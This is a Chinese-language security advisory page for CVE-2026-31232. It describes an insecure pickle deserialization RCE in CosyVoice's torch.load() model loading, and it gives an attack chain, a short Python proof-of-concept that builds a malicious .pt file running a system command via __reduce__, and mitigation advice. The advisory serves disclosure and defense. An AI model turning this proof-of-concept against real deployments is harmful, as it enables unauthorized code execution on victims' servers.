IPBUF安全漏洞报告
English
CVE-2026-31232 CVSS 8.8 高危

CVE-2026-31232 CosyVoice不安全反序列化致RCE漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-31232
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
CosyVoice

相关标签

RCE不安全反序列化CosyVoicePyTorchCWE-502CVE-2026-31232

漏洞概述

CosyVoice项目在处理模型加载逻辑时存在严重的不安全反序列化漏洞(CWE-502)。该漏洞源于代码在通过--model_dir参数加载用户指定的.pt模型文件时,直接调用了torch.load()函数且未设置安全的weights_only=True参数。这使得攻击者能够构造包含恶意Python Pickle载荷的伪造模型目录。一旦受害者通过CosyVoice的Web界面加载该恶意目录,系统将自动反序列化并执行嵌入的恶意代码,导致未经授权的远程代码执行。

技术细节

该漏洞核心在于CosyVoice对PyTorch模型文件的不安全处理。PyTorch的torch.load()函数默认使用Python的Pickle模块进行序列化和反序列化操作。Pickle模块功能强大但极其危险,因为它允许在反序列化过程中执行任意代码。CosyVoice允许用户通过--model_dir参数指定外部模型路径,并在加载时直接使用torch.load()。由于缺失weights_only=True这一关键安全限制,攻击者可以利用Python魔术方法(如__reduce__)构建一个特殊的类,将其序列化进.pt文件。当CosyVoice加载此文件时,Pickle解释器会解析该对象并触发__reduce__方法,从而在服务器端上下文中执行任意系统命令。鉴于该漏洞无需认证且仅需诱导用户交互,结合CVSS 8.8的高评分,其对系统安全构成了极大的威胁。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标正在使用存在漏洞的CosyVoice版本,并确认其允许通过Web界面加载外部模型目录。
STEP 2
2. 武器化
攻击者编写Python脚本,利用Pickle的__reduce__方法构造包含恶意系统命令的类,并将其序列化为.pt格式的文件。
STEP 3
3. 投递
攻击者将生成的恶意.pt文件放入一个目录中,并通过网络共享、钓鱼邮件或直接上传的方式将该目录地址提供给受害者。
STEP 4
4. 利用
诱导受害者在CosyVoice的Web界面中,将包含恶意文件的目录路径填入--model_dir参数并执行加载操作。
STEP 5
5. 执行
CosyVoice后端调用torch.load()加载文件,触发Pickle反序列化机制,解析并执行攻击者预先定义的系统命令。
STEP 6
6. 达成目标
攻击者成功在受害者服务器上获得远程代码执行权限,可进一步窃取数据、部署后门或破坏系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import torch import os import pickle # Define a class that executes a command when unpickled class Exploit: def __reduce__(self): # The command to execute (e.g., creating a file or reverse shell) return (os.system, ('touch /tmp/pwned',)) # Create an instance of the exploit class malicious_payload = Exploit() # Save the payload as a .pt file using torch.save # This simulates a malicious CosyVoice model file print("[*] Generating malicious model file...") with open('malicious_model.pt', 'wb') as f: torch.save(malicious_payload, f) print("[+] Malicious model file 'malicious_model.pt' created successfully.") print("[+] When CosyVoice loads this file via --model_dir, the command will execute.")

影响范围

CosyVoice commit <= 6e01309e01bc93bbeb83bdd996b1182a81aaf11e

防御指南

临时缓解措施
在应用官方补丁前,应严格限制通过--model_dir参数加载模型的路径权限,仅允许加载受信任的本地模型。开发人员可临时修改代码,在所有torch.load()调用处强制添加weights_only=True参数,以阻止任意Python对象的反序列化。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表